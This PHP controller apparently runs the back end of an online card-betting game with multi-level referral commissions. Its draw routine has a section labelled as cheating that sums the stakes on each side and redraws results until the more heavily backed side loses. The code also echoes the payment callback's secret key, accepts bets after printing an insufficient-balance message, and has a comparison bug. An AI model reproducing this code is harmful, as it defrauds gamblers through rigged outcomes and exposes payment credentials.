<?php
namespace app\index\controller;
use think\Db;
use think\Request;
use think\Controller;
use cmf\controller\HomeBaseController;
use app\index\model\ApiModel;
class KaijiangController extends HomeBaseController
{
    public function payget(){
		$data=Request::instance()->post();
      	$request = Request::instance();
      	$type=$data['gametype'];
      	$xzmoney=$data['money'];
      	//判断用户金额是否足够下注
      	$uid=session('userid');
      	$userinfo=Db::name('user');
      	$user=$userinfo->where('id',$uid)->find();
		if($user['balance']<$xzmoney){
        	$msg=['code'=>1];
          	$msg=json_encode($msg);
          	echo $msg;
        }
      	if($user['balance']<2){
        	$msg=['code'=>1,'info'=>"余额不足！"];
          	$msg=json_encode($msg);
          	echo $msg;
        }
      	$userjine=Db::name('user')->where('id', $uid)->setDec('balance', $xzmoney);
      	$openlist=Db::name('newopen')->order("id desc")->limit(1)->select()->toArray();
      	$xz_term=$openlist[0]['term']+1;
        $kj_or=array();
        $kj_or['user']=$uid;
        $kj_or['account']=$type;
        $kj_or['state']=0;
        $kj_or['money']=$data['money'];
        $kj_or['addtime']=date("Y-m-d H:i:s"); 
        $kj_or['orders']='R'.date("YmdHis").mt_rand(1111,9999);
        $kj_or['ip']=$request->ip();
        $kj_or['zj']=0.00;
        $kj_or['term']=$xz_term;
      	$kj_or['x']=$data['x'];
        $kj_or['y']=$data['y'];
        $data=Db::name('neworders')->insert($kj_or);
      	if($data){
          //增加佣金
         	$conf=cmf_get_option("site_info");	
          	$u=Db::name('user')->where(['id'=>$uid])->find();
              for($i=0;$i<4;$i++){
               $price=$xzmoney*$conf['site_admin_bzyj'.$i]/100;
               $u1=Db::name('user')->where(['id'=>$u['ss'.$i]])->find();
                  if($u1){
                    Db::name('user')->where(['id'=>$u['ss'.$i]])->setInc("score",$price);
                    $datas['user']=$u['ss'.$i] ;
                    $datas['money']=$price;
                    $datas['addtime']=date("Y-m-d H:i:s");
                    $datas['account']=($i+1)."级返佣(豹子)";
                    Db::name('yjjl')->insert($datas);
                  }
              }
         //增加佣金结束
        	$msg=['code'=>2,'info'=>"下注成功！"];
          	$msg=json_encode($msg);
          	echo $msg;
        }
      
    }
	
	public function notify(){
	   $data=Request::instance()->get();
	   $arr['key']=$data['key'];
	   $arr['fujian']=$data['record'];
	   $arr['money']=$data['money'];
	   $arr['money_index']=$data['money_index'];
	   $co=(new Config)->where(['id'=>1])->find();
	   echo $co['kkey'];
	   if($data['key']==$co['kkey']){
		   (new Pay)-> paynot($arr);
	   }else{
		   
		   echo "keyerror";
	   }
   }
	
	public function open(){
      	//查询数据库中是否达到开奖时间
      	$openlist=Db::name('newopen')->order("id desc")->limit(1)->select()->toArray();
		if($openlist){ 
      	  //上期开奖时间
          if(time()-$openlist[0]['addtime']>60){
            	$term=$openlist[0]['term']+1;
            	//作弊
            	$zb_zj=Db::name('neworders')->where(['term'=>$term,'account'=>"1"])->sum('money');
				$zb_xj=Db::name('neworders')->where(['term'=>$term,'account'=>"2"])->sum('money');
            	//判断总下注大于20	
            	$luyi_sz=mt_rand(1,10);
            	$luyi_sz2=mt_rand(1,10);
            	$luyi_sz3=mt_rand(1,10);
            	$luyi_sz4=mt_rand(1,10);
            	$luyi_sz5=mt_rand(1,10);
            	$luyi_sz6=mt_rand(1,10);
            	if($zb_zj+$zb_xj>=5){
					//获得两边和庄家的输赢结果
					$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
                  	$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
                  	//如果大于100太大直接杀
                	if($zb_zj+$zb_xj>=60){
						//判断天门下注的多
						//先更改天门和庄家下注比如让天门赢 之后 地门自己改
                		if($zb_zj>$zb_xj){
                        	   if($kjtmxinxi==2){	
									while($kjtmxinxi==2){
										$luyi_sz=mt_rand(1,10);
										$luyi_sz2=mt_rand(1,10);
										$luyi_sz3=mt_rand(1,10);
										$luyi_sz4=mt_rand(1,10);
										$luyi_sz5=mt_rand(1,10);
										$luyi_sz6=mt_rand(1,10);
										$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
										$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
									}
								}
                              	if($kjdmxinxi==1){	
									while($kjdmxinxi==1){
										$luyi_sz3=mt_rand(1,10);
										$luyi_sz4=mt_rand(1,10);
										$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
								 	}
								}
                        }else{
							if($kjdmxinxi==2){	
								while($kjdmxinxi==2){
									$luyi_sz=mt_rand(1,10);
									$luyi_sz2=mt_rand(1,10);
									$luyi_sz3=mt_rand(1,10);
									$luyi_sz4=mt_rand(1,10);
									$luyi_sz5=mt_rand(1,10);
									$luyi_sz6=mt_rand(1,10);
									$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
									$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
								}
							}
							if($kjtmxinxi==1){	
								while($kjtmxinxi==1){
									$luyi_sz=mt_rand(1,10);
									$luyi_sz2=mt_rand(1,10);
									$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
								}
							}
						}
						if($zb_zj==$zb_xj){
							if($kjdmxinxi==2){
								while($kjdmxinxi==2){
								  $luyi_sz=mt_rand(1,10);
								  $luyi_sz2=mt_rand(1,10);
								  $luyi_sz3=mt_rand(1,10);
								  $luyi_sz4=mt_rand(1,10);
								  $luyi_sz5=mt_rand(1,10);
								  $luyi_sz6=mt_rand(1,10);
								  $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
								  $kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
								}
							}
							  if($kjtmxinxi==2){
								while($kjtmxinxi==2){
								  $luyi_sz=mt_rand(1,10);
								  $luyi_sz2=mt_rand(1,10);
								  $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
								}
							}
						}
                	}else{
                    	//小于100放点水
                      	//$lu_zb=mt_rand(1,2);
                      	$lu_zb=2;
                        if($lu_zb==2){
							if($zb_zj>$zb_xj){
								if($kjtmxinxi==2){	
									while($kjtmxinxi==2){
										$luyi_sz=mt_rand(1,10);
										$luyi_sz2=mt_rand(1,10);
										$luyi_sz3=mt_rand(1,10);
										$luyi_sz4=mt_rand(1,10);
										$luyi_sz5=mt_rand(1,10);
										$luyi_sz6=mt_rand(1,10);
										$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
										$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
									}
								}
                              	if($kjdmxinxi==1){	
									while($kjdmxinxi==1){
										$luyi_sz3=mt_rand(1,10);
										$luyi_sz4=mt_rand(1,10);
										$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
								 	}
								}
							}else{
								if($kjdmxinxi==2){	
									while($kjdmxinxi==2){
										$luyi_sz=mt_rand(1,10);
										$luyi_sz2=mt_rand(1,10);
										$luyi_sz3=mt_rand(1,10);
										$luyi_sz4=mt_rand(1,10);
										$luyi_sz5=mt_rand(1,10);
										$luyi_sz6=mt_rand(1,10);
										$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
										$kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
									}
								}
								if($kjtmxinxi==1){	
									while($kjtmxinxi==1){
										$luyi_sz=mt_rand(1,10);
										$luyi_sz2=mt_rand(1,10);
										$kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
									}
								}
							}
							if($zb_zj==$zb_xj){
                              	if($kjdmxinxi==2){
                                    while($kjdmxinxi==2){
                                      $luyi_sz=mt_rand(1,10);
                                      $luyi_sz2=mt_rand(1,10);
                                      $luyi_sz3=mt_rand(1,10);
                                      $luyi_sz4=mt_rand(1,10);
                                      $luyi_sz5=mt_rand(1,10);
                                      $luyi_sz6=mt_rand(1,10);
                                      $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
                                      $kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
                                	}
                                }
                              	if($kjtmxinxi==2){
                                	while($kjtmxinxi==2){
									  $luyi_sz=mt_rand(1,10);
									  $luyi_sz2=mt_rand(1,10);
                                      $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
                                	}
                                }
							}
                        }
                    }
                }
            	if($zb_zj+$zb_xj>=380){
                	 	if($kjdmxinxi==2){
                                    while($kjdmxinxi==2){
                                      $luyi_sz=mt_rand(1,10);
                                      $luyi_sz2=mt_rand(1,10);
                                      $luyi_sz3=mt_rand(1,10);
                                      $luyi_sz4=mt_rand(1,10);
                                      $luyi_sz5=mt_rand(1,10);
                                      $luyi_sz6=mt_rand(1,10);
                                      $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
                                      $kjdmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz3,$luyi_sz4);
                                	}
                                }
                            if($kjtmxinxi==2){
                                	while($kjtmxinxi==2){
									  $luyi_sz=mt_rand(1,10);
									  $luyi_sz2=mt_rand(1,10);
                                      $kjtmxinxi=$this->ifkj($luyi_sz5,$luyi_sz6,$luyi_sz,$luyi_sz2);
                                	}
                            }
                }
            	$num=mt_rand(1,4).",".$luyi_sz.",".mt_rand(1,4).",".$luyi_sz2;
            	$num1=mt_rand(1,4).",".$luyi_sz3.",".mt_rand(1,4).",".$luyi_sz4;
            	$num2=mt_rand(1,4).",".$luyi_sz5.",".mt_rand(1,4).",".$luyi_sz6;
                $ingopen=Db::name('newopen')->where('term',$term)->find();
                if(!$ingopen){
                    $addtime=time();
                  	$opens=array();
                    $opens['account']="8";
                    $opens['money']=0.00;
                    $opens['addtime']=$addtime;
                    $opens['term']=$term;
                    $opens['num']=$num;
                    $opens['num1']=$num1;
                  	$opens['num2']=$num2;
                    Db::name('newopen')->insert($opens);
                }
            	//进行开奖
            	$kjopen=Db::name('newopen')->where('term',$term)->find();
            	$num=explode(',', $kjopen['num']);
            	$num1=explode(',', $kjopen['num1']);
            	$num2=explode(',', $kjopen['num2']);
				$kjxinxi=$this->ifkj($num2['1'],$num2['3'],$num['1'],$num['3']);
				$kjxinxi1=$this->ifkj($num2['1'],$num2['3'],$num1['1'],$num1['3']);
				if($kjxinxi==2){
                  	$jspl=1.9;
					$zhongjiang=1;
					$jiesuan=Db::name('neworders')->where(['term'=>$term,'state'=>0,'account'=>array('in',$zhongjiang)])->select();
					foreach($jiesuan as $v){          	
						//获取结算赔率金额
						  $price=$v['money']*$jspl;
						  //修改订单
						  Db::name('neworders')->where('id', $v['id']) ->update(['zj'=>$price]);
						  //增加用户余额
						  Db::name('user')->where('id', $v['user'])->setInc('balance',$price);
						  //家电齐纳
						  Db::name('newopen')->where('term', $term)->setInc('kjmoney',$price);
					 }
				}
				if($kjxinxi1==2){
                  	if($num1['1']==$num1['3']){
                          $jspl=3;
                     }else{
                          $jspl=1.9;
                     }
					$zhongjiang=2;
					$jiesuan=Db::name('neworders')->where(['term'=>$term,'state'=>0,'account'=>array('in',$zhongjiang)])->select();
					foreach($jiesuan as $v){          	
						//获取结算赔率金额
						  $price=$v['money']*$jspl;
						  //修改订单
						  Db::name('neworders')->where('id', $v['id']) ->update(['zj'=>$price]);
						  //增加用户余额
						  Db::name('user')->where('id', $v['user'])->setInc('balance',$price);
						  //家电齐纳
						  Db::name('newopen')->where('term', $term)->setInc('kjmoney',$price);
					 }
				}

            	Db::name('neworders')->where('term', $term) ->update(['state'=>1]);
            	$openlist=Db::name('newopen')->order("id desc")->limit(1)->select()->toArray();
            	$kjtimes=$openlist[0]['addtime']+60;
                $kjtimes=$kjtimes-time();
                $msg=['code'=>0,'info'=>$kjtimes];
                echo json_encode($msg);
          }else{
            $kjtimes=$openlist[0]['addtime']+60;
            $kjtimes=$kjtimes-time();
            $msg=['code'=>0,'info'=>$kjtimes];
            echo json_encode($msg);
          }
        
        }else{
          	//判断数据里面没有记录则直接插入
          	$num=mt_rand(1,4).",".mt_rand(1,10).",".mt_rand(1,4).",".mt_rand(1,10);
            $num1=mt_rand(1,4).",".mt_rand(1,10).",".mt_rand(1,4).",".mt_rand(1,10);
			$addtime=time();
          	$term=10001;
          	$opens=array();
         	$opens['account']="8";
          	$opens['money']=0.00;
          	$opens['addtime']=$addtime;
          	$opens['term']=$term;
          	$opens['num']=$num;
          	$opens['num1']=$num1;
			Db::name('newopen')->insert($opens);
        }
      	
     	//return $this->fetch('open');
      	
	}
  	public function getopen(){
		$data=Request::instance()->post();
      	$trem=$data['code'];
      	$info=Db::name('newopen')->where('term',$trem+1)->find();	
      	$num=explode(',', $info['num']);
      	$num1=explode(',', $info['num1']);
      	$num2=explode(',', $info['num2']);
      	$zhnum=$num[1]+$num[3];
      	$zhnum1=$num1[1]+$num1[3];
      	$zhnum2=$num2[1]+$num2[3];
		//重新设计
		$zjdui=0;
      	$tmdui=0;
      	$dmdui=0;
      	if($num[1]==$num[3]){
        	$kj_sm="对子".$num[1];
          	$tmdui=1;
        }
      	if($num1[1]==$num1[3]){
        	$kj_sm1="对子".$num1[1];
          	$dmdui=1;
		}
		if($num2[1]==$num2[3]){
        	$kj_sm2="对子".$num2[1];
          	$zjdui=1;
		}
		//对子结束
      	if($zhnum>=10 && $tmdui==0){
        	$zhnum=substr($zhnum,-1);
          	$kj_sm=$zhnum."点";
        }
      	if($zhnum1>=10 && $dmdui==0){
        	$zhnum1=substr($zhnum1,-1);
          	$kj_sm1=$zhnum1."点";
        }
      	if($zhnum<10 && $tmdui==0){
        	$kj_sm=$zhnum."点";
        }
      	if($zhnum1<10  && $dmdui==0){
        	$kj_sm1=$zhnum1."点";
		}
		if($zhnum2>=10 && $zjdui==0){
			$zhnum2=substr($zhnum2,-1);
          	$kj_sm2=$zhnum."点";
		}
		if($zhnum2<10 && $zjdui==0){
			$kj_sm2=$zhnum2."点";
		}
		//点数显示
		//判断输赢
		$tmshuying=$this->ifkj($num2[1],$num2[3],$num[1],$num[3]);
		$dmshuying=$this->ifkj($num2[1],$num2[3],$num1[1],$num1[3]);
		if($zjdui==1){
			$kj_sm2="对子".$num2[3];
		}
		if($tmdui==1){
			$kj_sm="对子".$num[3];
		}
		if($dmdui==1){
			$kj_sm1="对子".$num1[3];
		}
		if($tmshuying==2){
			$shengfu="天门胜";
		}elseif($tmshuying==1){
			$shengfu="天门败";
		}
		if($dmshuying==2){
			$shengfu1="地门胜";
		}elseif($dmshuying==1){
			$shengfu1="地门败";
		}
		if($dmshuying==1 && $tmshuying==1){
			$shengfu2="庄家完胜";
		}elseif($dmshuying==1 && $tmshuying==2){
			$shengfu2="庄家赢地";
		}elseif($dmshuying==2 && $tmshuying==1){
			$shengfu2="庄家赢天";
		}elseif($dmshuying==2 && $tmshuying==2){
			$shengfu2="庄家完败";
		}
      	if($info){
			$msg=array();
			$msg['code']=1;
			$msg['zj']=$num[0];
			$msg['xj']=$num[0];
			$msg['zj1']=$num[0].$num[1];
			$msg['zj2']=$num[2].$num[3];
			$msg['xj1']=$num1[0].$num1[1];
			$msg['xj2']=$num1[2].$num1[3];
			$msg['nzj1']=$num2[0].$num2[1];
			$msg['nzj2']=$num2[2].$num2[3];
			$msg['zjds']=$kj_sm;
			$msg['xjds']=$kj_sm1;
			$msg['nzjds']=$kj_sm2;
			$msg['sf']=$shengfu;
			$msg['sf1']=$shengfu1;
			$msg['sf2']=$shengfu2;
          	$msg=json_encode($msg);
          	return $msg;
        }else{
        	$msg=['code'=>0];
          	$msg=json_encode($msg);
          	return $msg;
        }
	}
  	public function getnewpay(){
      	$openlist=Db::name('newopen')->order("id desc")->limit(1)->select()->toArray();
      	$start=time();//当前时间
		$end=time()-1;
      	$term=$openlist[0]['term']+1;
      	$data['addtime'] = array('between',array(date("Y-m-d H:i:s",$end),date("Y-m-d H:i:s",$start)));
      	$data['term'] = $term;
      	$getnewpay=Db::name('neworders')->where($data)->find();
		//print_r($getnewpay);
      	if($getnewpay){
        	$msg=['code'=>1,'money'=>$getnewpay['money'],'type'=>$getnewpay['account'],'x'=>$getnewpay['x'],'y'=>$getnewpay['y'],'user'=>$getnewpay['user']];
          	$msg=json_encode($msg);
          	return $msg;
        }else{
        	$msg=['code'=>0];
          	$msg=json_encode($msg);
          	return $msg;
        }
	}
	public function newtest(){
      	echo date("Y m d h:i:s");
      	exit;
      	$us=1;
      	if($us==1){
        	//Db::name('user')->where('id','>',1)->delete();	
        }
      	//结束
	}
  	public function ifkj($zj,$zj1,$xz,$xz1){
     	//判断是不是对子
      	$duizi=0;
      	$duizi1=0;
      	if($zj==$zj1){
        	$duizi=1;
        }elseif($xz==$xz1){
        	$duizi1=1;
        }
      	//如果两个都是对子
      	if($duizi==1 && $duizi1==1){
        	if($zj1>=$xj1){
            	$kj=1;
            }else{
            	$kj=2;
            }	
        }
      	//判断一个对子
      	if($duizi==1 && $duizi1==0){
        	$kj=1;
        }
      	if($duizi==0 && $duizi1==1){
        	$kj=2;
        }
      	//如果都不是对子
      	$sumzj=$zj+$zj1;
      	$sumxj=$xz+$xz1;
      	if($sumzj>=10){
        	$sumzj=substr($sumzj,-1);
        }
      	if($sumxj>=10){
        	$sumxj=substr($sumxj,-1);
        }
      	if($duizi==0 && $duizi1==0){
        	if($sumzj>=$sumxj){
            	$kj=1;
            }else{
            	$kj=2;
            }
        }
      
      	return $kj;
	}
}
